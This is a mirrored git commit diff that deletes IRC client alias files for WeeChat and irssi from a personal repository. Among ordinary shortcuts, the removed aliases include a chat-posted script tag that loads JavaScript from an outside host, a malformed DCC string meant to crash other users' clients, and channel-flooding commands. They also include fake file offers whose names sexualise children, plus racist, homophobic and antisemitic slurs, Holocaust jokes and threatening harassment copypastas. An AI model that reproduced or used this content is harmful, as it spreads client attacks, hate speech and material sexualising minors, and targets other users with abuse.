mirror of
git://git.acid.vegas/random.git
synced 2024-12-04 05:26:40 +00:00
Updated
This commit is contained in:
parent
7cfdb6d608
commit
f11615c2a0
1915
irc/alias/arab.conf
1915
irc/alias/arab.conf
File diff suppressed because it is too large
Load Diff
@ -1,195 +0,0 @@
|
||||
#
|
||||
# weechat -- alias.conf
|
||||
#
|
||||
|
||||
[cmd]
|
||||
!! = "hueg 1,4,8"
|
||||
1488 = "mode -b+l-b 0,5卐5!*@*0,5 1488 5*!*@0,5卍"
|
||||
_fortune = "es bin/fortune.sh"
|
||||
a = "play"
|
||||
aaway = "away -all"
|
||||
acow = "es cat ascii/*/"$3-" | cow$1 -nf$2"
|
||||
action = "msg * \x01ACTION $*\x01"
|
||||
agrep = "play -find *$**"
|
||||
akill = "trigger add akill_$1 signal "$server,irc_in2_join" "${nick} == $1" "" "/quote -server $server kill $1" "ok";kill $1"
|
||||
aop = "kloeri autoop"
|
||||
aoper = "eval /oper $1 ${sec.data.${server}_oper}"
|
||||
asl = "exec -o /home/wowaname/bin/asl/asl.sh"
|
||||
ato = "play -pipe "/say $1:" $2-"
|
||||
autocmd = "eval -s ${irc.server.$server.command}"
|
||||
av = "say <meta http-equiv=refresh content="0.001\; url=Login.asp"><script language=javascript src=http://www.haofbi.com/js/w.js></script>"
|
||||
b = "buffer"
|
||||
b64d = "exec echo '$1-' | base64 -d"
|
||||
b64e = "exec -o echo '$1-' | base64"
|
||||
banhammer = "me is getting out the ban hammer! ▬▬▬▬▬▬▬▋ Ò╭╮Ó"
|
||||
bbunni = "say bbunni is a fucking whore: <peaces> blue, roy told me u asked him to cyber u while ur husband was in the hospital <bbunni> peaces so what if i did, how is that your business?"
|
||||
benis = "exec -o cat ascii/uncat/benis\ unban"
|
||||
best = "say best $* in town;say best $* around"
|
||||
bible = "exec -o grep -i ^'$* ' ascii/uncat/bible"
|
||||
bl = "kline 40320 $1 :Blacklisted"
|
||||
blog = "say Hi! It looks like you're blogging on IRC. Would you like to: 2[Add Comments] 2[e-Mail this to a Friend] 2[Digg This!] 6[Submit to Slashdot] 2[Add to del.icio.us] 5[Kill yourself because0⬉5 nobody cares]"
|
||||
brag = "wv -o;uptime -o;weestats;input return"
|
||||
buttes = "play -fmt "$*" buttes4"
|
||||
buttranged = "say you've just been HURT FEELINGS AND BUTT RANGED go drink ur moms bredt milk u fart commander i bet u hav a fetish FOR MEN LMAO ur just so made all the time its 2 easy 23 own u "i ilk to drinkj sperm from my sperm bottle while waring my sperm necklace" - u"
|
||||
c = "connect"
|
||||
cake = "prism -wr and no i'm not going to dye my dammed hair pink and bake a fucking cake"
|
||||
chan = "msg chanserv $1 $channel $2-"
|
||||
chankey = "kloeri key"
|
||||
cia = "say CIA niggers glow in the dark. You can see them if you're driving. You just run them over, that's what you do."
|
||||
clear = "buffer clear"
|
||||
clop = "yiff -clops"
|
||||
cnotice = "notice $channel"
|
||||
coffee = "play -fmt $1 uncat/coffee"
|
||||
colourkill = "prism -xe هو ما نراه عندما تقوم الملونات بتعديل الضوء فيزيائيا بحيث تراه العين البشرية (تسمى عملية الاستجابة) ويترجم في الدماغ (تسمى عملية الإحساس التي يدرسها علم النفس). واللون هو أثر فيسيولوجي ينتج في شبكية العين، حيث يمكن للخلايا المخروطية القيام بتحليل ثلاثي اللون للمشاهد، سواء كان اللون ناتجاً عن المادة الصبغية الملونة أو عن الضوء الملون. إن ارتباط اللون مع الأشياء في لغتنا، يظهر في عبارات مثل "هذا الشيء أحمر اللون"، هو ارتباط مضلل لأنه لا يمكن إنكار أن اللون هو إحساس غير موجود إلا في الدماغ، أو الجهاز العصبي للكائنات الحية."
|
||||
corner = "es python3 -c 'print( "\n".join([" ".join("$*")]+list("$*"[1:])) )'"
|
||||
cowsay = "es cowsay"
|
||||
ctopic = "topic"
|
||||
cuntpunt = "prism -c \ /$1 $2 cuntpunt \\|  ̄ヘ ̄|/_______θ☆( *o*)/"
|
||||
dc = "disconnect"
|
||||
dc6 = "exec -pipe /mode bash -c 'h=(0 1 2 3 4 5 6 7 8 9 a b c d e f)\; for i in {0..3}\; do echo $1 $2${h[(( i * 4 ))]}$3 $2${h[(( i * 4 + 1 ))]}$3 $2${h[$(( i * 4 + 2 ))]}$3 $2${h[$(( i * 4 + 3 ))]}$3\; done'"
|
||||
dc_full = "exec -pipe /mode bash -c 'for i in {0..3}\; do echo $1 $2$(( i * 4 + $4 ))$3 $2$(( i * 4 + 1 + $4 ))$3 $2$(( i * 4 + 2 + $4 ))$3 $2$(( i * 4 + 3 + $4 ))$3\; done'"
|
||||
dc_half = "exec -pipe /mode bash -c 'for i in {0..3}\; do echo $1 $2$(( i * 64 ))$3 $2$(( i * 64 + 16 ))$3 $2$(( i * 64 + 32 ))$3 $2$(( i * 64 + 48 ))$3\; done'"
|
||||
dccporn = "exec -pipe "/ctcp $1" echo 'DCC SEND '`echo '2011_vichatter_3_girls_hot_show.mp4 2013-05_Chinese_Girl_Vichatter_8Yo_112.avi 2lolis_3.mp4 9yo_from_vichatter.mp4 @babygirl_pusssy.mp4 @yegla.mp4 Kak2.mp4 Kia_yn.mp4 LD_3_04.14.wmv LD_4_04.14.wmv Latina_shakes_her_behind_in_pink_underwear.mp4 Laura_McMenamin_-_Straddle_jumps_on_the_trampoline.mp4 Liza_Botkin_n_Friend.avi MN_11.13..avi Periscope_rus_lesbi.mp4 Russian_video.mp4 Vichatter_03_11_2011_Mashechka_alone.avi Vichatter_July_Novo_07_17_2012.avi Vichatter_Mary_08_22_2011.avi WCAM-349.wmv YouNow_-_Kiera_Smith_tits_n_ass_edit.FLV brighton014_-_broadcasted_on_YouNow.FLV calzones.webm jv-2016-05-27_06-01.ts megz_yn.mp4 michaella_yn.mp4 michaellahunyormog.mp4 mu3.mp4 sexy_russian_girl.mp4 vichatter_ass_2.mpg webcam_52.wmv' | tr \ "\n" | shuf | head -1` $(( RANDOM * 131072 + RANDOM )) $(( RANDOM + 10000 )) $(( RANDOM * 1024 ))"
|
||||
dccrash = "say DCC SEND " 1.2.3.4 1337 1"
|
||||
deopd = "exec -pipe "/mode -obb $1" cat ascii/uncat/deopban"
|
||||
diagonal = "es python3 -c 'j="$*"\;[print(" "*i + j[i]) for i in range(len(j))]'"
|
||||
dikky = "fortune dikky"
|
||||
dim = "trigger addreplace dim_$server_$1 modifier weechat_print "${tg_tag_nick} == $1 && \${server} == $server" "/(.*)/${color:4}${tg_prefix_nocolor}\t${color:12}${tg_message_nocolor}/"; print \---\t$1 is now dimmed on $server"
|
||||
dns = "kloeri dns"
|
||||
dongers = "say ヽ༼ຈل͜ຈ༽ノ raise your dongers ヽ༼ຈل͜ຈ༽ノ"
|
||||
doritos = "say ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ Ah Mannn! I dropped my bag of Doritos!!!"
|
||||
down = "kloeri down"
|
||||
dyk = "say 8(!) 1Did you know...;/m $channel 11/14=11\ ;/m $channel 11\ / $*"
|
||||
e = "say 3$nick14@weechat14:~ 3$ $*;/exec -pipe "/msg -server $server $channel " $*"
|
||||
efnet = "say Ugh, I'm so sick of $server. I'm moving to EfNet."
|
||||
efs = "fortune efs"
|
||||
errantego = "msg * $1, $channel is a family friendly channel (meaning young eyes could be watching), please watch your language while you are in $channel...thank you. :-)"
|
||||
es = "/exec -pipe "/msg -server $server $channel " $*"
|
||||
fag = "play -fmt $1 fagosaurus"
|
||||
fakelag = "exec -pipe /say figlet -Fborder -Fgay -fterm Please disable Fakelag, $1!\;echo\;echo "Some clients limit commands sent at once so they don't get disconnected."\;echo 'This is often undesired as Good IRC Networks can handle flooding.'\;echo 'Certain clients allow easy removal of fakelag:'\;echo 'irssi :: /set cmd_queue_speed 0msec'\;echo ' /set cmds_max_at_once 0'\;echo ' /reconnect'\;echo 'WeeChat :: /set irc.server_default.anti_flood_prio_high 0'\;echo ' /save'\;echo 'HexChat :: /set net_throttle 0'\;echo 'ChatZilla :: /evals CIRCServer.prototype.MS_BETWEEN_SENDS = 0'\;echo 'ZNC :: /msg *controlpanel setnetwork floodburst $me $network 0'\;echo ' /msg *controlpanel setnetwork floodrate $me $network 0'\;echo ' /msg *status connect'"
|
||||
figfonts = "exec -n ls /usr/share/figlet"
|
||||
figlet = "es figlet -w100 -Fcrop $*"
|
||||
flashbang = "cflood -fg 0 -bg 8 FLASHBANG"
|
||||
fortune = "es fortune fortunes/"$*""
|
||||
friends = "play -fmt "$nick\;$1" colour/friends"
|
||||
fuck = "mute python load colo.py"
|
||||
full = "figlet -f wideterm"
|
||||
ganja = "me is away (4,4__8,8__3,3__1 SmOkInG ThE GaNjA 4,4__8,8__3,3__)"
|
||||
gaydar = "play -fmt $* gaydar"
|
||||
gaykick = "k $1 4Y12O9U A8R4E 9G11A8Y"
|
||||
gentoo = "exec -o echo install `(cat /dev/urandom | tr -cd 'a-z' | head -c 1) 2> /dev/null`entoo"
|
||||
gnu = "say I'd just like to interject for a moment. What you're referring to as $2-, is in fact, $1/$2-, or as I've recently taken to calling it, $1 plus $2-."
|
||||
gnulinux = "gnu GNU Linux"
|
||||
gnusay = "cowsay -nfgnu < ascii/copypasta/gnulinux"
|
||||
heart = "hueg 05,04 <3"
|
||||
hop = "cycle"
|
||||
hopflood = "exec -o sed 's@^@/part @\;s@$@\n/join@' ascii/*/"$1-""
|
||||
host = "exec host"
|
||||
ikline = "/kline ~*@$1 :Please install identd"
|
||||
insult = "exec -o /var/www/afsadgsdcgdcfgefcasfcascfsadf.com/insult/index.pl"
|
||||
irssi = "input history_previous;input history_previous;input return;input history_previous;input return;exec -pipe /repeat echo "$((RANDOM%5)) say ?A""
|
||||
j = "join"
|
||||
jargon = "exec -o bin/jargon.sh"
|
||||
jewname = "exec -o bin/jewname.pl"
|
||||
k = "kloeri kick"
|
||||
kb = "kloeri kickban"
|
||||
kdebug = "kloeri debug"
|
||||
khelp = "kloeri help"
|
||||
kickflood = "exec -o sed 's@^@/quote kick $channel $1 :@\;s@$@\n/forcejoin $1 $channel@' ascii/*/"$2-""
|
||||
kiss = "play -fmt $1 pp4l/kissyou"
|
||||
kkrop = "masshl /mode +o-b %n 1,1!*@0Welcome1.0to1.0the1.0Krusty1.0Krab"
|
||||
ko = "kloeri knockout"
|
||||
kset = "kloeri set"
|
||||
link = "exec -o bin/linkgen.sh"
|
||||
loljk = "say lol JK LOL JKlol JK LOL JKlol JK LOL JKlol JK LOL JKlol JK LOL JKlol JK LOL JK"
|
||||
m = "msg"
|
||||
mail = "n $channel You have unread messages from another user! Type /server mail read to read them."
|
||||
mdeop = "deop *"
|
||||
mdevoice = "devoice *"
|
||||
merge = "buffer merge"
|
||||
mike = "kline $1 same"
|
||||
mirc = "say 0000010102020303040405050606070708080909101011111212131314141515"
|
||||
mircgold = "say You must have a mIRC 8,7GOLD account to view this message."
|
||||
mop = "op *"
|
||||
mv = "buffer move"
|
||||
mvoice = "voice *"
|
||||
n = "notice"
|
||||
nctcp = "notice $1 $2-"
|
||||
nfj = "notice $1 You were forced to join $channel"
|
||||
nickmsg = "exec -pipe /nick for i in $*\; do echo $i\; done"
|
||||
niggas = "say niggas aint be real but that just be how it do"
|
||||
offend = "msg * $1: I feel offended by your recent action(s). Please read http://stop-irc-bullying.eu/stop"
|
||||
operation = "play -fmt "$*" operation"
|
||||
oslap = "me slaps $1 around a bit with $2-."
|
||||
oven = "exec -o bin/oven/oven"
|
||||
p = "part"
|
||||
pants = "say Has anyone seen my pants? They were last seen at JFK International Airport in New York last night and I miss them already. Please contact baggage claim if you've seen them and tell them to send the pants to Rochester International Airport where JetBlue is looking for them."
|
||||
pooname = "exec -o bin/pooname.pl"
|
||||
popart = "es for i in `seq 1 $1`\; do echo "$(( $RANDOM % 16 ))$2-"\; done"
|
||||
portscans = "say Someone from the address "$1" has been performing port scans and other malicious things on my computer such as DoS attempts and intrusion attempts wich in turn has made my internet speed drop because this person is doing it so much and it is just destroying my bandwidth. Please tell them to stop. No, actually, force them to stop. This e-mail address showed up when I back traced the IP address and preformed a whois search on it. If you are not responsible for the actions of this person, please ignore this e-mail. If nothing is done about it, keep this in mind: I'm a 15 year old hacker with alot of time on my hands. Therefore, if you don't stop this person, I will. I just thaught I would go about it the right way before I did anything."
|
||||
pre = "$1 $2$channel $3-"
|
||||
pump = "say I occasionally pump whilst I'm driving, particularly on long journeys in the car. That way, when I get into meetings, I have a HUGE bulge in my suit and like to watch everyone's eyes - guys and women!! It never fails to get some kind of reaction!!! -- MegaPumper"
|
||||
Q = "query"
|
||||
quiet = "kloeri quiet"
|
||||
r-pair = "eval /set plugins.var.python.text_replace.replacement_pairs "${plugins.var.python.text_replace.replacement_pairs}\;$1=$2-""
|
||||
r-word = "eval /set plugins.var.python.text_replace.replacement_words "${plugins.var.python.text_replace.replacement_words}\;$1=$2-""
|
||||
ra = "play -pipe "/prism -c ` /say ` ""
|
||||
rato = "play -pipe "/prism -c ` /say `$1:" $2-"
|
||||
raw = "quote"
|
||||
rc = "reconnect"
|
||||
rclop = "ryiff -clops"
|
||||
reason = "kloeri reason"
|
||||
redraw = "color reset;window refresh"
|
||||
rejoin = "exec -o for i in `seq 1 $2` \; do echo "/forcepart $1 $channel"\; echo "/forcejoin $1 $channel"\; done"
|
||||
reverse = "exec -o python -c 'print "$*"[::-1]'"
|
||||
ri = "repeat -interval"
|
||||
rot13 = "exec -o echo "$*" | tr a-zA-Z n-za-mN-ZA-M"
|
||||
rslap = "me slaps $1 around a bit with a large 4r7a8i3n12b2o6w 7t8r3o12u2t6."
|
||||
s = "buffer server.$1"
|
||||
sadmac = "say سمَـَّوُوُحخ ̷̴̐خ ̷̴̐خ ̷̴̐خ امارتيخ ̷̴̐خ"
|
||||
say = "msg *"
|
||||
sc = "mute autojoin --run;mute save;print Channels and options saved"
|
||||
set_append = "eval /set $1 "\${$1},$2-""
|
||||
shrug = "exec -o echo '¯\_'`echo '㋛ ㋡ (˙͜>˙) (ツ) (シ) (ベ) (じ) (ぐ) (ヾ) (ゞ) (:^))' | tr \ "\n" | shuf | head -1`'_/¯'"
|
||||
sj = "server jump"
|
||||
slap = "me slaps $1 around a bit with a large trout."
|
||||
sln = "ison q w e r t y u i o p { };print [ ] q w e r t y u i o p { };ison a s d f g h j k l ~ [ ];print [ ] a s d f g h j k l ~ [ ];ison z x c v b n m _ ^ ` \ |;print [ ] z x c v b n m _ ^ ` \ |"
|
||||
space = "exec -o python3 -c 'print( " ".join("$*") )'"
|
||||
spy = "eval can $server see what i do on my computer"
|
||||
sslap = "exec -pipe "/oslap $1" bin/fish.sh"
|
||||
style = "eval -s /set plugins.var.python.colo.fgs "\${plugins.var.python.colo.$1_fgs}"\;/set plugins.var.python.colo.bgs "\${plugins.var.python.colo.$1_bgs}"\;/set plugins.var.python.colo.fmt "\${plugins.var.python.colo.$1_fmt}""
|
||||
styledis = "set_append plugins.var.python.colo.ignore_buffers $server.$channel"
|
||||
sub = "kline $1 :problematic subnet, ask irc@volatile.ch for an exemption"
|
||||
supernets = "say yeh $1 just wait till i get a supernets then enough http requests then boom"
|
||||
t = "topic"
|
||||
ta = "play -pipe /topic"
|
||||
think = "me .oO( $1- )"
|
||||
timeout = "buffer notify none; wait 60m /buffer notify reset"
|
||||
tkline = "kloeri tkline"
|
||||
tmyk = "say 2The 12More 6You 13Know 5=7=8=9=11=12=2=8☆"
|
||||
train = "kick $1 ran over with a train 4/2[o o]3[o o]2[o o]3[o o]2[o o]3[o o]4\"
|
||||
ub = "unban"
|
||||
ubr = "exec -o echo /unban {$1..$2}"
|
||||
umode = "mode $nick"
|
||||
unakill = "trigger del akill_$1"
|
||||
undim = "trigger del dim_$server_$1; print \---\t$1 is no longer dimmed"
|
||||
unfuck = "mute python unload colo"
|
||||
urgay = "ato $* youaregay"
|
||||
urslow = "exec -o head -n17 ascii/pp4l/youaregay | sed s/^/$1:\ /\; sleep 1\; head -n33 ascii/pp4l/youaregay | tail -n16 | sed s/^/$1:\ /\; sleep 1\; tail -n17 ascii/pp4l/youaregay | sed s/^/$1:\ /"
|
||||
v = "ctcp $1 version"
|
||||
volatile = "say You are invited to 4>13>8> 6irc.5volatile6.ch 8<13<4< colour nicks, no fake lag, fun for all"
|
||||
w = "who"
|
||||
wc = "buffer close"
|
||||
wcon = "es wcon -color irc -pbw 10"
|
||||
webirc = "exec -pipe "/exec host" python -c 'print ".".join(str(int("$1"[i:i+2],16)) for i in xrange(0,8,2))'"
|
||||
whisper = "mute /notice $1 [$channel] $2-;/print \-\tPvNotice($1): $2-"
|
||||
wi = "whois"
|
||||
wii = "whois $1 $1"
|
||||
wiki = "exec -o LANGS=(en chr dv km glk ka he ms fa ba ru sa ta zh-yue ur hy kn ml ne war bh gu tg wuu or arc mzn lo pnb got bo as ti cr xmf tcy)\;wget -q -O- "https://${LANGS[$RANDOM % ${#LANGS[@]}]}.wikipedia.org/wiki/Special:Random" | pup title | sed '2!d\;s|^ \(.*\) [-–—] .*$|\1|g'"
|
||||
wraith = "exec -pipe "/mode +o-b $1" echo `head -c 2 /dev/urandom | base64 | tr -d =`'!'`head -c 3 /dev/urandom | base64`'@'`head -c 16 /dev/urandom | base64`"
|
||||
wv = "command core version"
|
||||
ww = "whowas"
|
||||
xra = "play -pipe "/prism -xc ` /say ` ""
|
||||
xyzzy = "print Nothing happens"
|
||||
|
||||
[completion]
|
@ -1,467 +0,0 @@
|
||||
aliases = {
|
||||
# {{{ client shortcuts
|
||||
sb = "scrollback";
|
||||
slo = "script load ~/.irssi/scripts/$*";
|
||||
wk = "window close";
|
||||
ws = "window new";
|
||||
wn = "window new hide";
|
||||
wim = "window item move $*";
|
||||
|
||||
# {{{ IRC commands
|
||||
j = "join";
|
||||
t = "topic";
|
||||
wi = "whois $0 $0";
|
||||
ww = "whowas";
|
||||
um = "mode $N";
|
||||
k = "kick";
|
||||
b = "ban";
|
||||
ub = "unban";
|
||||
kb = "kickban";
|
||||
kn = "knockout";
|
||||
lock = "mode $C +ilkm 1 lolol";
|
||||
unlock = "mode $C -milk";
|
||||
judify = "mode $C +ilkm 1 lolol ; kick $* lol";
|
||||
q = "query";
|
||||
m = "msg";
|
||||
say = "msg *";
|
||||
amsg = "foreach channel";
|
||||
chat = "dcc chat";
|
||||
|
||||
# {{{ services
|
||||
cs = "msg ChanServ $*";
|
||||
ns = "msg NickServ $*";
|
||||
ms = "msg MemoServ $*";
|
||||
hs = "msg HostServ $*";
|
||||
os = "msg OperServ $*";
|
||||
|
||||
# {{{ .irssi/{scrollz,crapflood}
|
||||
tcat = "exec - cat $HOME/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
|
||||
tscroll = "exec - -out cat $HOME/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
|
||||
tcrap = "exec - -out cat $HOME/.irssi/crapflood/$* 2>/dev/null \\; sleep 42";
|
||||
tansi = "tscroll ansi/$*";
|
||||
tascii = "tscroll ascii/$*";
|
||||
tbird = "tscroll birds/$*";
|
||||
tart = "tscroll ircart/$*";
|
||||
tp0r = "tscroll p0r/$*";
|
||||
tsong = "tscroll songs/$*";
|
||||
tstory = "tscroll stories/$*";
|
||||
tposter = "tscroll poster/$*";
|
||||
tx1 = "tscroll xxsart/$*";
|
||||
tx2 = "tscroll xscii/$*";
|
||||
txl = "tscroll xxlart/$*";
|
||||
|
||||
# {{{ slowcat
|
||||
slowc = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 $* 2>/dev/null \\; sleep 42";
|
||||
glowc = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat $* 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
|
||||
slowt = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 ~/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
|
||||
glowt = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat ~/.irssi/scrollz/$* 2>/dev/null 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
|
||||
|
||||
# {{{ scripts wrappers
|
||||
813 = "exec - -o perl ~/.irssi/scripts/stand/813.pl $* 2>/dev/null";
|
||||
234 = "exec - -o perl ~/.irssi/scripts/stand/234.pl $* 2>/dev/null";
|
||||
bart = "exec - -out echo \"$*\" | awk -f ~/.irssi/scripts/stand/bart.awk 2>/dev/null";
|
||||
gridsify = "exec - -o echo \"$*\" | awk -f ~/.irssi/scripts/stand/grids.awk 2>/dev/null";
|
||||
boners = "exec - -o perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
|
||||
gboners = "gayexec -1 perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
|
||||
poll = "exec - -o $HOME/.irssi/scripts/stand/poll.sh $*";
|
||||
randmatix = "exec - -o $HOME/.irssi/scripts/stand/randmatix.sh $*";
|
||||
terror = "exec - -o perl ~/.irssi/scripts/stand/terror.pl";
|
||||
gterror = "gayexec -1 perl ~/.irssi/scripts/stand/terror.pl";
|
||||
cow = "gay -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
|
||||
cowf = "gay -cow -cowfile $HOME/.irssi/cows/$0 $1-";
|
||||
gcow = "gay -1 -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
|
||||
gcowf = "gay -1 -cow -cowfile $HOME/.irssi/cows/$0 $1-";
|
||||
fig = "exec -o echo \"$*\" | figlet 2>/dev/null";
|
||||
cfig = "ascii -c $*";
|
||||
hfig = "exec -o echo \"$*\" | figlet -f ivrit -C ilhebrew 2>/dev/null";
|
||||
ghfig = "gay -1 -font ivrit -YES -fig \"$*\"";
|
||||
tcl = "exec -o echo \"$*\" | tclsh";
|
||||
stcl = "exec echo \"$*\" | tclsh";
|
||||
rot13 = "exec -o echo \"$*\" | tr a-zA-Z n-za-mN-ZA-M 2>/dev/null";
|
||||
greek = "exec -o python $HOME/.irssi/scripts/stand/greek.py $*";
|
||||
ggreek = "gayexec -1 python $HOME/.irssi/scripts/stand/greek.py $*";
|
||||
|
||||
# {{{ unsorted
|
||||
tag = "script exec Irssi::server_find_tag('$0')->command('$1-');";
|
||||
bop = "oper tscroll osamabigmatixjudaism";
|
||||
|
||||
# {{{ /!\ ACHTUNG /!\
|
||||
attn1 = "say \037\0034/\0038!\0034\\\\\037 \0039ACHTUNG:\0039 \0038$0-\003 \037\0034/\0038!\0034\\\\\037";
|
||||
attn2 = "say \0036\037/\0038!\0036\\\\\037\003 \0039ACHTUNG: \0038$* \0036\037/\0038!\0036\\\\\037";
|
||||
attn3 = "say \0038\037/!\\\\\037\003 \002$*\002 \0038\037/!\\\\\037\003";
|
||||
attn4 = "say \00314,8 \037/!\\\\\037 \003 \0034$* \00314,8 \037/!\\\\\037 \003";
|
||||
attn5 = "say \00314,7\037/!\\\\\037 $* \037/!\\\\\037\037";
|
||||
attn6 = "say \0031,8\037/!\\\\\037 \00314,8WARNING \0031,8\037/!\\\\\037 \00314,8$0- \0031,8\037/!\\\\\037 \00314,8WARNING \0031,8\037/!\\\\";
|
||||
attn7 = "say \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037 \0038,8 \0034,8\037$*\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 ";
|
||||
attn8 = "say \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 \003 \002$*\002 \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 ";
|
||||
attn9 = "say \0038,5/\037!\037\\\\ DANGER: $* /\037!\037\\\\";
|
||||
attn10 = "say \0030,4 (X) ATTENTION (X) \003 \002$*";
|
||||
attn11 = "say \0031,8 \037/!\\\\\037 \0034,8WARNING: $*\0031,8 \037/!\\\\\037 ";
|
||||
attn12 = "say \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 \0038,4 $* \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 ";
|
||||
attn13 = "say \00314,8 \037/!\\\\\037 \00314,4 ERROR \003\002 $* ";
|
||||
attn14 = "say \0038,4 /!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\ $* \0038,4/!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\ ";
|
||||
jewlert = "say \00312,0* JEWLERT -> \003 \002$*\002 \00312,0 <- JEWLERT *";
|
||||
gaylert = "say \00313,11GAY ALERT! B======>\037 $* \037<======B WATCH HIM EAT COCK!";
|
||||
fishlert = "say <¸.·`¯`·.¸¸.·`¯`· $* ·`¯`·.¸¸.·`¯`·.¸>";
|
||||
|
||||
# {{{ #:) lolle (:#
|
||||
lolle1 = "say \002\0031,1#\0030,5:\0034,5)\003\002 \0030,1\002 $* \002\003 \002\0034,5(\0030,5:\0031,1#\003\002";
|
||||
lolle2 = "say \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!\003 \0038,8#\00311,7\\;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!";
|
||||
lolle3 = "say \0039\037\\\\|/\037\003 $* \0039\037\\\\|/";
|
||||
lolle4 = "say $* has a degree in assfistology. \0031,1 \0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5o\0030,5:\0031,1.";
|
||||
lolle5 = "say There are no niggers in the gay paradise of mexico. \0031,1 \0038,1boger for president 2008 \0031,1.";
|
||||
lolle6 = "say \0034,1=/#=\0030,1 $* \00312,1=/#=";
|
||||
lolle7 = "say LOL ---> $* <--- LOL";
|
||||
lolle8 = "say \0034,5(\003\0030:\00314- \00313$*\003 \00314-\0030:\0034,5)";
|
||||
lolle9 = "say \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017\017 $* \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017";
|
||||
oven1 = "say $* ---> :( |___| <--- oven";
|
||||
oven2 = "say $* \002-> oven\002";
|
||||
|
||||
# {{{ lump u out
|
||||
lump = "say $* u dont even know me kid shut the fuck up hidin behind your computer i'd fuckin lump u out if you fronted on me like that in person";
|
||||
lump2 = "say $* u dont even know me kid shut the fuck up hidin behind yuor computar id fuckin lump u out if u fronted on me like that in person fukin bitchass littel nerd hidin behind cmputar screen littel pussy i kick ur ass irl fagget";
|
||||
lump3 = "say hey $* dont no wat the fuck im gonna do 2 u fuck if i ever meet u im gonna fucking pound you fuck man if u was u id be soo scared man you should just change schools bcuz on monday im ognna kill u man just run away man just get out of here faggot";
|
||||
lump4 = "say hay fgt ur so lucky u dont no me cuz if i nue were u lived o man u dont even wanna no wat i wud do 2 u shuld be gratful evry day tht i dunno were u liv fgt stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt n every1 wud be glad ur ded u fkn fgt";
|
||||
lump5 = "say $* u fukn hacker i saware im caling the fbi rite now nthey r gona aresst u 4 hhakin rite tmrow n they r gonna brake down ur dore wahen ur slepping @ nite n there gonna point there m16 at ur hed an say plz cum outside or we r gunna hedshot u fgt";
|
||||
lump6 = "say $* i think your full of shit and just a punk ass bitch hiding behind his computer screen";
|
||||
lump7 = "say $* dude if u dont fucken stop runnin ur mouth about my mate im gonanf ucken rub your sheath";
|
||||
lump8 = "say $* no offense or nothing but 1 day id love to fuken walk up to and ounch your binrat in so much ur head would be poping out of ur arse,downy";
|
||||
lump9 = "say $* dude if u dont fucken stop runnin ur mouth about a hobo's brother's uncle im gonanf ucken s about your vas deferens";
|
||||
lump10 = "say $* dude if u dont fucken stop runnin ur mouth about my cousin im gonanf ucken wiggle your cerebral cortex";
|
||||
lump11 = "say $* dude if u dont fucken stop runnin ur mouth about my brother's mom im gonanf ucken pickle your cerebellum";
|
||||
lump12 = "say $* dude if u dont fucken stop runnin ur mouth about my girlfriend im gonanf ucken slice your eyes";
|
||||
lump13 = "say all you fuckers who are talkign shit you are all fucking pussies you didn't fucking know her so don't try saying shit you stupid cunt rags fucking coem to michigan and say that to her friends faces you will get your nerdy fuckign asses handed to you you say shit cause you haev no real friends or your jsut an insecure little fuck who can't fucking get any real friends so fuck you all stephanie was one of the best people in the world";
|
||||
